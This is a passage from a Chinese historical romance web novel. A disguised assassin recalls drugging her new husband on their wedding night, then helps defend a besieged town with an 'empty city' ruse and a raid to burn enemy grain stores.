萧明渊走上前来,一把将梁浅拉入怀中,“还是我陪娘子去上药罢,明大人,您忙。”萧明渊说罢,便直接将梁浅横抱起来朝外走去。 梁浅见到来禀报的士兵瞬间低下的头,便有些不好意思,轻轻地用手臂推着萧明渊的胸膛,小声地和萧明渊说道:“快放我下来,我能走,这么多人呢,别让人误会。” 萧明渊全然没有理会梁浅的要求,用脚踢开偏房的门,进来后,又转过身去,梁浅呆呆的看着萧明渊,“这是干嘛?” 萧明渊双手抱着梁浅,腾不出手来,所以让梁浅伸出手去关门,“关门。” 梁浅刚刚吱呀乱叫的挣脱状态被他这下打断了,乖巧地伸出手关了门。 萧明渊将梁浅轻轻放在房中的榻上,萧明渊则到一旁去找伤药,梁浅本来松了一口气,却没有想到背对自己正在找药的萧明渊冷不丁来了句,“你刚说误会?误会什么?” 梁浅一时语塞,刚刚不过是因为太不好意思,所以胡乱说的,没有想到他还在意起来了。 “额,我这不是男装嘛,刚来的时候,我还和明汐是假扮的夫妻,所以……额,这不是又和你拉拉扯扯,不不,不太好嘛。”梁浅支支吾吾地编着理由。 萧明渊找到了药箱,边将药箱放到了梁浅旁边的桌子上,然后低下头同梁浅说道:“哦?这么说,娘子是不愿同我扯上关系?” 梁浅笑得很勉强,“哈哈哈,怎么会,怎么会。” 萧明渊见到梁浅这般神情,觉得十分可爱,心想她莫非是有些害羞,自己还是不能逼的太紧才是。 于是萧明渊不再说话,查看起梁浅手臂上的伤口,“这伤口确实有些深了,这里没有麻沸散,娘子只有忍着些。”萧明渊用极其温柔的语气同梁浅说道。 梁浅点了点头,“只要能好,多痛我都能忍,你弄吧。” 萧明渊这才给梁浅清洗伤口,敷药包扎,这些年在战场上受过的伤不计其数,包扎伤口自然是手到擒来,可是这一次萧明渊却比以往都轻柔,都用心得多,生怕因为自己粗糙的手艺引发梁浅的二次疼痛。 处理好手臂上的几处伤后,便是梁浅肩膀上的伤,梁浅因为上次所谓的失忆,对现代的记忆和感受也更加明确,自然对于这个时代的许多规矩并没有这么在意,有时候只是面对萧明渊是有些不好意思罢了,想到这里,又自问道为什么会对他不好意思。 梁浅想到这里居然发起了呆,但是抬头看到萧明渊有些无所适从的眼神,才反应 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过来,“哦,还有肩膀上的伤?” 于是便麻利地将自己的左肩的衣服解下来,袒露出伤口给萧明渊,萧明渊先是一愣,然后便坐到梁浅身前,给她擦起伤药。 梁浅肩膀上的伤明显要比其他地方的都深,所以感受到的痛也更深,从一开始上药,梁浅就咬着牙强忍着,额头上冒出了一些汗,但是都没有说任何的话。 萧明渊将一切都看在眼里,她的强忍,她的痛苦,在包扎伤口的时候,自己的手要从梁浅身后绕过去,每次伸手都会起身靠近她,终于在最后一圈的时候,萧明渊轻轻地在梁浅的脸上吻了吻。 梁浅先脸红起来,“你,这,又是干嘛?” 萧明渊仿佛定住一般,然后在梁浅耳边说道:“我见你不舒服,想安慰你。” 萧明渊说完这话,自己也脸红了起来,甚至比梁浅更加明显,手上慌忙的给梁浅包扎着,梁浅偷笑着,心想见他这个样子,干脆逗上一逗。 “所以你平日见人不舒服,都是这样安慰的?”梁浅有些挑逗地说道。 萧明渊沉默着给包扎的伤口打上最后一个结,然后要了摇了摇头,笑着对梁浅说道:“只有你我才会如此。” 梁浅见他红彤彤的脸,忍不住笑出了声,将衣服穿好后,朝他问道:“夫君脸怎这么红?是害羞吗?” 萧明渊没有再看梁浅,只是假装收拾药箱,装作很忙的样子,听到梁浅这样说,偷看了一眼笑脸盈盈的梁浅,发现她仿佛在取笑自己,于是有些傲娇地说道:“没有啊。”然后边下意识的小声嘟囔了一句,“又不是没有见……” 话还没有说完,萧明渊便意识到自己失言了,觉得自己辛苦维持的君子形象不保,忙闭了嘴,心里祈祷梁浅没有听到。 可梁浅听到了…… 梁浅立刻伸出手掐着萧明渊的脖子,好的,刺客的职业反应,“你说什么?你……你见过?莫非你偷看过我洗澡?你个……”梁浅便打算扬起另外一只手想打萧明渊的耳光,心里还在吐槽这个人真是装得可以,看姑奶奶我今天不打得他姓氏名谁都不知道。 萧明渊没有管梁浅掐着自己的脖子的手,只是伸出手来接住另外一只从空中即将打下来的手,然后疑惑地看着梁浅,拉着梁浅的手慢慢的将梁浅压了下去。 梁浅想挣脱却因为双手是伤挣脱不开,萧明渊眼睛盯盯看着自己,慢慢将自己的力量卸去,自己处于了下风。 萧明渊又说了两人第一天见面的那话,“那晚的事,娘子是当真想不起来了?” 这一番折腾,让梁浅身上的伤也疼了起来,自己的情绪也激动了起来,此时才注意到房中的香。 此地是临时给萧明汐等人办公的场所,明汐连续好几天没有好好睡过觉了,只有在今日才到这里小憩片刻,她还点上了香。 而此时香气朝梁浅袭来,梁浅心想,这香怎么有些熟悉……脑袋便昏昏沉沉的晕了过去,朦朦胧胧中闪回到了上一次闻到这种香气时的场景…… 43. 第四十三章·刺客小白的任务(回忆) 作为一名优秀的刺客,不仅需要高超的武功身手,还需要具备各种暗器毒药以备不时之需。 因此,梁浅终于可以独立做任务之后,便来到阁中研制自己的毒药。 “帮烟晴假扮新娘自然是接近萧家的最好时机,可这萧明渊也不是吃素的。”梁浅拿起自己带过来的各式各样的药,手边又是自己新研制的迷药药单。 “毒药风险太大,万一直接给人药死,岂不是又连累柳家,还可能牵连师父,到时候全国通缉,哪里都去不了了,嗯,还是用迷药算了。” 梁浅还是飞速的研制起迷药来,梁浅的师父就是药师出身,所以在镇子上两人表面做些草药生意,私底下梁浅也学了不少这些奇奇怪怪的手艺,自己也会研制起毒药迷药。 “嗯,很好,这次的剂量非常完美,这隐蔽性,哈哈哈,萧府也绝对查不出来。”梁浅拿着新制作的迷药小心翼翼的装进药瓶。 刚弄完自己肚子就痛了起来,“早知道就不吃这么多樱桃了,谁让一到京城萧府就送这么多樱桃过来,果然又吃热的又吃冷的,容易不舒服,嘶。” 梁浅心想这是在阁中,应该不会有谁会拿东西的,基本的职业操守应该还是有的,遂放心走开,等回来之后也直接拿走了刚刚自己做好的那瓶迷药。 “嗯,涂在唇上还是擦在脸上呢。”梁浅看着桌子上的首饰和脂粉匣陷入了纠结,最后还是决定将药放在胭脂花片里面,这样唇上就有迷药了,只要那谁敢亲上来,不过片刻就会晕,梁浅心里美滋滋的想着,仿佛胜券在握。 接下来就是跟着流程,上了花轿,拜了天地,然后被送进了洞房…… 梁浅一个人百无聊赖的坐在房中,新郎好像又出去接待宾客了,“酒席什么菜,怎么也不让我一起出去吃,这规矩一点不好。”梁浅自言自语道,没有想到房中还有人。 只听得芸香说:“小姐若是饿了,我去厨房给小姐拿些吃的。” 梁浅掀起盖头,只见旁边站着一个笑得很好看的女孩子,“好,那就麻烦你啦,要好吃的哦。” 芸香先笑着走过来将梁浅的盖头盖好,然后才走出门去,梁浅见她出门,才不管三七二十一,掀起盖头,立刻在这个房间里找起密诏来。 “这人会把东西放在哪里呢?嘶,他们这些大户人家应该像这些墨宝都是放在书房的,看来一会儿还是得找找书房,去那里找。”梁浅正在桌子边感叹着,没有想到门突然开了。 可是因为自己大意,红盖头还在床上,而且若是芸香回来,她肯定会先敲门的,如此不敲门就直接进来的,只有……新郎本人了。 梁浅慌忙之中,顺手拿起一本书打开遮住了自己的脸,然后不自觉的屏住了呼吸。 来人关上了门,见无人在床边,便朝梁浅这边走了过来,梁浅只看到那确实是刚刚同自己拜堂的那人,鞋一样,衣摆的花纹也是一样的。 萧明渊走了过来,伸手将梁浅手上的书移开,只见新娘原是有些无措的看着别处,书离开后,她的眼睛也跟着朝自己看了过来,明眸红唇,不禁让自己心跳得更快了些。 梁浅试探的发出声音,“夫……夫君?” 梁浅见对方看到自己的片刻仿佛顿住了,于是便伸出手来在那人面前挥了挥。 萧明渊这时才反应过来,忙行礼同梁浅说道,“娘子,为夫这厢有礼了。” 梁浅也点头回礼,“夫君怎这么快就回来了?” 萧明渊这才转身去拿自己刚刚拿进来的东西,梁浅也好奇了跟了过来,萧明渊将一个用油纸包着的东西递了过来,“我想着娘子肯定也一天没有吃东西,便给娘子带了吃的。” 梁浅放下书,这香味确实感觉很好吃,便想伸手去接,“嘶,好烫好烫!”梁浅被烫得忙收回了手,吹着自己的手。 萧明渊忙牵着梁浅的手走到桌边,将东西放在桌上后,给梁浅吹着手,“是我思虑不周,娘子可伤到了?” 梁浅一闻到香味,馋瘾便犯了,连连摇头,“无事无事,到底是什么好吃的,好香啊。” 见梁浅眼睛都不眨的看着,萧明渊笑着看着她这幅馋虫模样,去打开油纸,香味扑鼻而来,“你给我带了一只烧鹅!?” 萧明渊笑眯眯点了点头,宠溺地看着梁浅,然后帮她把鹅都撕开,正好此时芸香也拿了些吃食碗筷来,见两人都在,便偷笑着离开了。 梁浅拿起筷子看着正在撕鹅的萧明渊说道:“皮糙肉厚就是好哩,都不怕烫。” 萧明渊拿着鹅腿,被梁浅的话逗笑了,弯着身子笑了半天。 梁浅见半天这鹅都递不到自己这里,直接从萧明渊手里用筷子夹了过来,边吃着肉边疑惑地问道:“有这么好笑吗?” 萧明渊这才抬起头说:“好笑,而且我没有想到,你比你信里说话还好笑。” 信里,梁浅回忆了一下,确实,往日里白日没事就去柳家,赚赚柳烟晴的外快,确实她有个什么未婚夫老是写信过来,烟晴懒得理,就雇梁浅来回信,一封信一两银子,梁浅还可以顺便练字,便帮她回了信。 梁浅有些疑惑,如今这人提起来是什么意思,试探自己,还好自己知道信的内容是什么,随他怎么问,不管了,饿了一天,先吃东西。 “你也吃你也吃。”梁浅见萧明渊满带笑意的看着自己,吃了一会儿便有些不好意思,将筷子递给他。 “不用,我不饿,倒是酒也喝了不少。”萧明渊终于转了视线,看向桌上的合卺酒,“但还有一杯,是今日最应该喝的。” 梁浅见状,便放下筷子,擦了擦嘴,接过了酒,打算直接喝下,萧明渊忙拉住她拿酒的手,同她提醒道:“娘子,这是交杯酒。” 梁浅哦了一声,于是两人慢慢靠近,两人的手拿着酒杯环绕到一起,梁浅避开眼神,不去看萧明渊,此时此刻却还是不由得有些紧张。 喝完酒,梁浅正好也吃得差不多了,便将酒杯放下,正想找个理由去补妆,结果萧明渊就靠了过来,梁浅忙扶着他的肩膀,“夫君要不然先去沐浴,我也卸下钗环。” 萧明渊如梦初醒般坐直身子,“哦,好,我身上一声酒味,莫熏到娘子才好。”于是萧明渊便乖乖的去沐浴,梁浅也走到梳妆台卸下头上的钗环。 因为要吃东西喝东西,所以乘着萧明渊撕鹅的功夫,梁浅偷偷的将唇上的唇脂擦掉了,此时只有重新再找机会。 * 梁浅刚把头饰都拿了下来,芸香便端着水进来给梁浅漱口洗脸,梁浅便笑着走过来乖乖漱口擦脸,都弄好之后朝芸香说道:“今晚不用在这里伺候了,芸香,你早些回去睡罢。” 梁浅说罢,将一个钱袋递给了芸香,芸香看到里面的银票数目,吓了一跳,“小姐,这,这太多了,芸香受不起。” 梁浅忙拉她起来,直视她的眼睛,对着她说:“芸香,这些钱是该给你的,你一路陪我到京城,悉心周到的照顾我。 在破庙那晚,众人都说在外不许我下花轿,还是你在花轿旁陪了我一夜。 路上遇到各种花草鸟兽你也一直在同花轿里面的我描述,让沉闷的花轿变得没有那么痛苦,这一切都是我该谢谢你的。 这钱你拿着,若是明日发生了什么事,你便尽快离开萧府,这回从柳家带来的人只有你一个女孩子,其他几个你日后打听,能救则救,若是他们愿意留在萧府,便随他们。” 芸香听完梁浅这话有些紧张的看着她,“不会是要发生什么事罢,小姐别吓我,我以后也要陪着小姐。” “放心罢,先去睡罢,你起的早,别担心。”梁浅笑着拉着芸香安慰着,将她送出了门,见她终于离开院子才松一口气继续回到房中。 “嘶,可是我现在再涂口红会不会挺刻意的,要不吹灭几盏灯罢,这样就看得不太清楚了,应该不会被怀疑罢。”梁浅将最后还抹有药的胭脂花片抿了抿,看到镜中红烛闪动,自己红唇粉面的样子,深吸一口气。 “呼,加油,速战速决。”梁浅刚刚给自己加油打气完,萧明渊便推门进来了。 “娘子可要去沐浴?”萧明渊用极其平和的语气同梁浅说道,自己此时也只换了衣服,只在里衣外披了一件披风。 梁浅摇了摇头,“我在上花轿之前就沐浴更衣过了。”说起来这还不过一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个时辰,且自己此时满脑子只想速战速决。 萧明渊坐到床边,看着还坐在梳妆台前的梁浅,心里还是有些暗喜。 这梳妆台自己还真是买对了,当初月银那个闷葫芦跟着自己回京的时候提醒自己的,自己这个房间太空,新夫人来了自然是要梳妆台衣柜的,衣柜倒是选得快,可这梳妆台自己却是选了又选,如今看来,这台娘子应该很是喜欢。 萧明渊沉默半晌才开口说道:“咳,娘子可否坐得离我近些,我有些话想同娘子说。” 梁浅嗯了一声,然后才假装含蓄害羞的走到床边,在萧明渊的另一边坐下。 “你我的婚约是父母之命媒妁之言,前些年也未曾好好见过一面,更是未相处过,娘子也是为了萧家和柳家当年的誓言,故此我理解娘子你的难处,如今娘子同我拜了天地,就是夫妻,我会尽我毕生之力,爱护娘子,珍视娘子,今夜虽说是新婚之夜,可若娘子不愿,我也不会强求。” 萧明渊说得很认真,梁浅也没有想到剧情居然是这样的发展,如此让自己还不好开口了。 萧明渊还在说着,梁浅原是正襟危坐着,听着他说着,竟然听得有些入迷,一方面是觉得他的声音确实好听,从一见面梁浅就发现他的声音很温柔,很容易就让梁浅陷入进去,另一方面是心中暗自感叹,这人还挺纯爱的,可自己今日只有对不住咯。 于是梁浅便转过身来看着萧明渊,萧明渊抬头,只见身前的人已经将刚刚的外衣脱去,此时正盯盯看着自己。 萧明渊感觉自己的喉咙有些干,不自觉的看向她的脸,和她的唇,屋里的灯光闪动,已然没有自己之前进来时明亮,隐约看到梁浅的唇还是红红的。 萧明渊歪着头,有些疑惑的看着梁浅,自己不是见到刚刚侍女不是进来服侍过?怎地她又上了红妆? 于是便没有忍住自己的好奇心,想向梁浅问她的唇色是怎么回事?莫非是天生的?便伸手指了指自己的唇,疑惑的说道:“你?” 梁浅见到萧明渊这个样子,无奈地摇了摇头,心想,果然,男人,哼。 萧明渊见她摇头,便伸手触了触自己的唇,才放下手,刚想张口问,便见到梁浅亲了上来。 梁浅直接亲了上来,闭上眼睛静静等待着药效发作…… 萧明渊十分吃惊,瞳孔微微震动,迟迟没有闭上眼睛,认真的感受着唇上传来的触感,然后便轻轻张开自己的嘴…… 梁浅见药效迟迟不发作,就已经心生疑惑了,再感受到唇上传来的别样感觉,于是忙离开了他的唇,然后十分狐疑地看着对方,可萧明渊眨巴眨巴的眼睛好像在问梁浅我怎么了,我做错什么事了吗。 难不成是药效不够,梁浅一狠心便又亲了上去,梁浅心想,“我就不信了,迷不倒你。” 可是梁浅却没有觉得对方有要晕倒的意思,反而感觉他的身体越来越烫,唇上感受到的也越来越多。 怎么回事今天,对面怎么越亲还越有劲,然后梁浅紧闭住的双唇便被撬开了,糟了,迷药! 萧明渊环抱住她,将她抱在自己身上吻着,或许是自身的意乱情迷,自己怎么对才见第一面的人就动了心,既然是她主动吻的,那是不是也意味着她也是。 梁浅只感觉唇上一阵酥麻,自己也被萧明渊的深入,沾染了药,自己是不是马上要晕了,就在梁浅这样想着的时候,却感觉自己身上也越来越热。 好想沉醉在这番感受中,不愿再轻易离开,于是梁浅脑子一热便攀上了萧明渊,看来药应该是拿错了,可这药向来最有效果的解法只有一个,反正这人长得也不亏,摸着身材也不错,说是个将军,应该不会差的。 先把这药效散了,自己再去找东西罢,就这样放肆一回,反正都困在这里这么多年了,就放肆一回…… 窗外好像下起了雨,雨滴错落有致的打落在屋檐,打落在青石板,打落在花草丛中,梁浅意乱情迷之时,只下意识觉得是自己唇上的药坏得事,所以在他迟迟不放开时,喘着气对他说道: “别吻这里。”然后朝他的眉间,脸颊,下巴吻去,他也听话的学着她的样子吻去…… 44. 第四十四章·空城计!? 梁浅终于回忆起了萧明渊一直说的新婚夜的事情,怪不得自己自从失忆之后就觉得萧明渊对自己忽远忽近,又好像有些熟悉,却又好像再生自己的气,原来是以为两人发生了什么。 可当时当梁浅感到自己的肩膀有些凉了之后,便清醒了些许,乘机用尽全力把萧明渊一掌劈晕,然后挣脱萧明渊的怀抱,掉下床来,自己打碎了一个碗,划破自己的手臂,才终于清醒了过来。 萧明渊因为还吃了不少酒,加上被劈一掌,直接晕了过去,而梁浅又洗了把脸,喝了一大盏茶,眼前的药效终于过了,走到床边去看了一眼萧明渊,还活着。 这才包扎了一下手臂,跑到书房偷了“密诏”,成功的跑了出来…… * 梁浅的视线回到了此刻,萧明渊看着头痛欲裂的梁浅,关切的问着,“娘子你怎么了?” “无事,只是想起一些事情。”梁浅逐渐看清了眼前的人,和记忆中的样子一模一样,只是转过身来说道,“对了,你还会继续待在城中吗?” 萧明渊一直看着梁浅,可是梁浅却仿佛一直在回避他的视线,她的脸上也面无表情。 “嗯,我一会儿就走,我私下在陛下处得了令,萧家军已经出发了,去城外与你们接应,到时候带人从另一边攻敌。”萧明渊扶着梁浅起来,“你还在生气吗?” 梁浅眼神有些飘忽,自从回忆起刚刚的画面就一直不敢看他,因为一看到他就会想起自己当时和他缠绵亲吻的场景,自己还说了那么羞耻的话,而且他如今这个表现,不会是什么要对我负责之类的话吧,我要不此时告诉他真相。 可怎么开口,这事……梁浅疑惑的看着萧明渊,直接问道:“什么生气?” 萧明渊这才倒起茶水朝梁浅递过来,“就是你那日离京,我朝你说话的声音有些大,而且也没有陪你同去,你可是为此生气了?” “啊?哦,这件事啊,我没有生气,我当时声音也挺大的,而且一路有明汐相伴,我并不生你的气。”梁浅接过茶水,淡定回答。 “嗯,那你这些时日可想我?” 萧明渊抬头偷偷注视着梁浅的反应,见梁浅皱了皱眉,忙解释着。 “是这样,我与同僚说了此事,他们说你定是生气了,让我见面要多说些好话哄哄你才是,所以,我不知道你是从始至终都没有生气,还是生气过,只是现在气消了……言而总之,这些日子我有些想你。” 梁浅皱着眉,心想这人怎么嘴变得这么甜,莫非真是小别胜新婚,之前他生气,莫不是觉得是我跑了不负责,可是这件事我本来也不用负责呀,本来也没有发生什么,虽然确实是我坑了他,但是他是不是误会了,算了,过了眼前的危机再找个机会和他说罢,毕竟现在还没有拿到钱。 还有看萧明渊这个样子,貌似是以为自己生气了,干脆…… 梁浅嘴角一歪,突然想整蛊一下他,然后先是故作严肃的说道:“嗯,我是不生气了,至于我想不想你嘛……你过来。” 萧明渊乖乖的走到梁浅身边,低下头偏着耳朵准备听梁浅的悄悄话,结果梁浅半晌不说话,朝他的耳边一吹。 萧明渊敏感的捂住耳朵,嘶了一声站直了身子,梁浅见他这样子,笑得合不拢嘴,“哈哈哈,逗你玩的,走啦……” 回到正堂,萧明渊又恢复了他的严肃样子,同大家商量起接下的应对措施。 “萧家军昨日便得了消息赶过来了,我今夜会出城同他们汇合,不过路途遥远,可能还有半日的脚程才能到。”萧明渊看着城防图说道。 梁浅接着说道:“也就是说,若是明日敌军来犯,我们得至少撑住半日?” 萧明汐也补充着,“这还是得萧家军在路上不遇到其他阻拦的情况下。” 萧明渊点了点头,见到众人神色凝重的样子,又说道:“干脆我还是留在城中同你们迎敌,让月银带人去同军队接应。” 沈从摇了摇头,站出来说道:“萧将军的大名小人从前就听过一二,这萧家军想必也是需要将军带领才能更加所向披靡。” 萧明汐也点了点头,“确实,兄长还是得去带领萧家军才是,本来此举想必就会引起朝中众人非议,若是我们萧家的人都不在,军中更是没有主心骨,又如何迎敌。” 萧明渊听到此次没有再说话,看向梁浅,梁浅注意到他的眼神,笑着说道:“你不必担心,我们不会被击垮的。” 萧明渊无奈的摇了摇头,和萧明汐确定了计划这才准备离开,萧明汐也跟了出来,有些着急的问道:“兄长,萧家军昨日便出发了,今日可在路上遇到一个前来求援的男子,叫做阿无的。” 萧明渊认真的思考的片刻,然后摇了摇头,“我得的消息还没有听过这个人,若是前来求援,想必路上也是遇得到的。” 萧明渊说完,见到萧明汐有些紧张的神情,还有一旁满脸笑意仿佛看破一切的梁浅,于是眯着眼睛朝萧明汐问道:“明汐,这人是什么人?你这么紧张。” 萧明汐这才回过神,尴尬的冲萧明渊笑着,“哈,就是我的一个好友,带着我的信物去求援的,所以我这是担心朋友。” 萧明渊哦了一声,“能只身去求援,也算有些胆量……明汐,你这次……真的成长了,当年让你去跟着医师,是想吓退你的,没有想到你并无畏惧退缩之状,如今也变得更厉害了,别的不说了,保重自己。” 明汐点了点头,朝萧明渊行礼道:“是,兄长也保重。” 梁浅跟着送他出来,“这匹马你骑过去罢,夜里山路不好骑马,到时候到了城门□□给守卫就是。” “嗯,我们的马队在山下,打着火把下去就是。”萧明渊回道。 梁浅露出甜甜的笑对萧明渊说道:“好,一路小心。” 梁浅说完,见萧明渊一直看着自己,却没有说话,歪着头看着对方,“怎么了?” “妻子送夫君上战场就不说些什么?” …… “算了,不过下次,我要带着荷包 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说罢萧明渊轻轻在梁浅的脑门上弹了一下,然后转身骑上马,“月银留给你,一切小心。” 梁浅看着萧明渊离开的背影,心中暗自感叹,这人怎么还记着荷包的事。 * 翌日,天刚刚蒙蒙亮,城墙上便传来了消息,果然,和昨天抓到的敌军供述得一致,他们果然到了。 城门前拒马等防御工事,连日连夜都设置好了,全城都做好了准备,梁浅此时也在城门上方,坐在一把古琴的前面。 梁浅听明汐说审问出来的口供说这回敌人的军师长得像中原人,所以决定和萧明汐赌一把,看他信不信这空城计。 云雾散开,梁浅看到远处的敌人虎视眈眈,深呼一口气,将古琴弹了起来。 这还是有一回跟师父出任务的时候学的,没有想到在这里派上了用场。 对方的部队前进到一定的距离就停了下来,只听得城楼上传来的阵阵琴音。 部队正中穿着最华丽的铠甲的那个人在马上朝前探了探,然后朝身后中原长相的那个人问道:“吕大师,你说这对面这是哪一出?” 吕智朝那人行了个方曦国的礼,然后说道:“吾和少将军,他们这计想必是空城计,可,昨夜我们派出的探子全军覆没,城中实力或许真的不容小觑,我们还是静观其变罢。” 吾和不屑的一笑,“嗐,能拿下一队人,只是说明他们反应有些迅速罢了,倒是不能说明他们实力强劲,且大师之前讲的空城计不是虚张声势罢了,我们速战速决。” 梁浅表面上淡定的弹着琴,但是心里还是很慌张的,并不能确定对方能被迷惑,只是想能多拖延片刻就拖延片刻。 看对方有些犹豫的样子,莫非是被骗到了?结果下一秒,梁浅一个音正好弹错,对方的首领也带着人冲了上来。 梁浅第一次见到这种阵仗,吓了一跳,忙拿起放在一旁盾牌顶在头上,从高处跳下来,语无伦次地朝明汐喊着,“他们不信,他们不信,干他们!干他们!” 于是刚刚隐蔽在一旁的所有弓箭手立刻到位,朝下面射出燃烧的弓箭,瞬间点燃了拒马前的草垛,因为前面的其他草都被除完了,所以火也并未朝别处蔓延。 而萧明汐则一开始就站在一处更高的隐蔽处,从一开始瞄准了首领,见人拿着武器冲了上来,里面的弓箭手也在朝城墙上射箭,于是瞄准,放箭,一箭就射中了敌军带头的首领。 吾和的一只眼睛瞬间疼痛,看不见眼前,径直掉下了马,身后的人躲闪不及,有几人骑着马好像直接踹到了他身上,他疼得在地上喊叫,吕智也吓了一跳,忙叫停了部队。 “少将军!少将军!”那人着急的跳下马去查看吾和的伤势,“保护少将军!先撤退!先撤退!” 对方的主将受重伤,一下子群龙无首,于是只有撤退,众人看着敌军撤退,先是梁浅高兴的叫出了声,接着城墙上的人都欢呼了起来,众人的欢呼雀跃也感染了城内的人,“我们打退了敌军!” 45. 第四十五章·声东击西 敌军撤退后,众人欢呼,见梁浅笑得没心没肺的样子,萧明汐无奈一笑,还是保持着镇定走了下来。 “众位将士辛苦了,刚刚来的只是敌军的先锋队,他们的大部队还在后面,接下来我们仍不可放松警惕,不可懈怠,待到危机解除,敌军降服,我们论功行赏!” 又是一阵欢呼,接下来众人也都回到了各自的岗位上警惕,梁浅也跟着萧明汐下来,向明汐问道:“明汐,依你看,对方何时会再攻过来?” “刚刚过来的是他们部落的大王子吾和,是个莽撞的,其实不足为惧。 且太过急躁,定是见其他两城都是他兄弟拿下的,便想快些拿下军功回去找他部落首领领赏,见如今我们也有了应对,所以他才着急了想要一击致命,这下回去,怕是跟他一母同胞的四王子又会带兵过来。”明汐根据抓到的人的供词分析道。 “嗯,这样说来,主将受了伤,与其等他们慌乱之后再攻过来,我们何不先发制人?” 梁浅冲萧明汐挑了挑眉毛,心里有了一个新的想法,如今对方是气势被我们压了下去,且此地易守难攻,我们这边守着城,和他们耗上半月都不是问题,更不说萧明渊的部队也不过半日便会来到,还有朝廷的援军,他们的颓势是必然的。 所以,何不添一把火,助萧明汐完成她的梦想,给她的功绩添上一笔。 “姐姐的意思是?”萧明汐看向梁浅,表面有些疑惑,但是实际上心里也猜到了梁浅的用意。 “你说他们的营地在何处?”梁浅虽然说的是问句,但是却眼神坚定的看着萧明汐,明汐看着梁浅的眼神,还是又低下头沉思了起来。 于是两人刚走到城墙下,沈从和月银等人都在,梁浅便直接当着众人的面朝明汐跪了下去。 “大人好计策!小人愿带人前往探寻敌军营地,寻得机会烧得敌人粮草,让他们退无可退!”梁浅故意大声的说道。 见状,沈从也跟着站上前来,跪在梁浅身后,“小人也愿一同前往!”闻声月银也跪在了身后。 明汐无奈地叹了叹气,伸出手拉梁浅和沈从起来,见梁浅抬头,明汐点着头说道:“好,我知道了,起来罢。” 梁浅起身后,萧明汐这才朝都关注这里的众人说道:“由沈大侠选人罢,这位小大人随我去写下名目清单。” * “姐姐,这么危险,何必如此?”萧明汐低声同梁浅说着,满脸焦急。 “明汐,这是一个千载难逢的机会,我记得之前你许的愿便是,想凭借自己的一身武艺建功立业,可这世道,女子能建功立业的机会少之又少,我们只有抓住每一次的时机,才能争取到日后更多的机会。”梁浅语众心长的同明汐说自己之所以这么做的原因。 “可姐姐,这么危险的事情让我亲自去罢,我不想你为我所谓的军功受伤。” 梁浅摇了摇头,认真给明汐分析着。 “明汐,你必须在这里坐阵,如今你是我们的主心骨,若是你离开,万一城中人心不稳,那一切都付之一炬,且若是我们成功烧了粮草,他们军营必然大乱,到时候说不定还有人乘乱来城门口做最后的困兽之斗,还不说城中还藏着的王二…… 明汐,你要知道,这件事一旦稳定下来,你这无官文临时走马上任的县尉可就一点用处没有了,再想有机会,可就难了。” 看着梁浅真诚的眼神,明汐点了点头,“姐姐,我明白了,我不辜负您这片苦心的。”说罢,明汐朝梁浅深深行了一礼,而梁浅则拉起了她,同她抱在一起。 “放心,明汐,我会保护好自己,你不必担心。”梁浅拍拍她的肩膀安慰着她。 梁浅看向萧明汐,见她仿佛眼角有些泪,然后居然带有些许傲娇的语气喊梁浅,“姐姐,日后我若做了将军,定请你做军师。” “好啦,有你这话就够了,且我们相处这些时日,你或许也是看出了我的些许不同,我不是什么大家闺秀,名门贵女,我只是我自己,做想做的事情,所以京城里我还有事要去做……” “好,我不管姐姐是谁,为何而来,又向何而去,你都是我的姐姐,也是我的军师。” * 梁浅穿上甲胄,收好自己的匕首,带上火折子,还背上了一把弩箭,朝身后已经整装待发的小队吩咐着,“此次行动,切记不可脱离队伍,要听从指挥,我们只是烧粮草,完成就撤,不可拖沓!” 沈从和月银站在队伍的最前方,带着几人抱拳行礼,“是!” 柳烟晴此时也走了上来,将几包药粉递给了梁浅,笑眯眯的同梁浅说道:“你那些小玩意这些日子是不是用的差不多了?给你专门配的,威力更大。” 梁浅也学着男子行礼的样子当着众人给柳烟晴行礼道:“小人深谢柳家娘子了。” 见梁浅有些打趣自己,柳烟晴还嗔怪的往她身上打了一下,然后才说:“好了,一切小心,医馆的人我替你看着的。” 然后放低了声音,靠近梁浅的耳边说道:“确实发现了一个和你描述一致的人,我会盯着的,放心。” 梁浅放心的点了点头,“好,私下里你去同明汐商量,在我们回来之前人可千万不能跑了。” 柳烟晴也朝梁浅点了点头,也看向明汐,两人相视一笑,梁浅这才转过身去,带着众人从小门悄悄的跑了出去,往山中的密林走去。 沈从对这一带都很熟悉,几人顺着刚刚敌军撤退的痕迹一路追踪,不一会儿便到了敌军驻扎的军营处,几人躲在附近隐蔽的山坡上观察着下面的情况。 就在沈从探查清楚敌军军营的粮草堆放地回来同梁浅禀报时,月银也得到了消息,从远处跑到梁浅身边说道:“明汐大人传信,之前的县尉已混进了碧峰县,县城四处都烧起来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,城里已经乱了,敌军不可能有援军及时赶到。” 梁浅有些疑惑,“四处都烧起来了?” 月银又低声解释道:“娘子放心,那县尉大人有分寸,定是只是为了迷惑敌人,不会伤及根本的。” 梁浅这才舒了一口气,“好,既然这样,那我们就让他们乱上加乱罢。” 梁浅先让队伍中跑路最快的小伙子背上弩箭,走到另一边的山坡去待命,然后梁浅带着其他人在靠近粮草的隐蔽处静候时机。 月银摘下路边的一根草,试探着风向,确定现在是有利于能将火烧起来的风向大小,便朝梁浅点了点头,梁浅才拿出一小面镜子,朝在另一面山坡的同伴反射着光,发出示意行动的信号。 果然,不出片刻,对面一箭射中马圈中的一匹马,马儿被射中后,痛苦的嘶叫起来,也惊了马圈中的其他马儿,一些马儿更是顾不得阻拦,横冲直撞起来,顿时乱作一团。 周围站岗的哨兵也立刻反应过来,用梁浅听不懂的话大喊着,于是看守粮草的人也退去了大半,敌军的注意力都被另外一边吸引,梁浅等人也乘机弯腰冲了出去。 月银和沈从两人身手好的冲在前面,从敌人的后面袭击,将其一击致命,梁浅则带着人往里面走去,几人从不同方位同时点火,见火起来梁浅便叫着众人撤退。 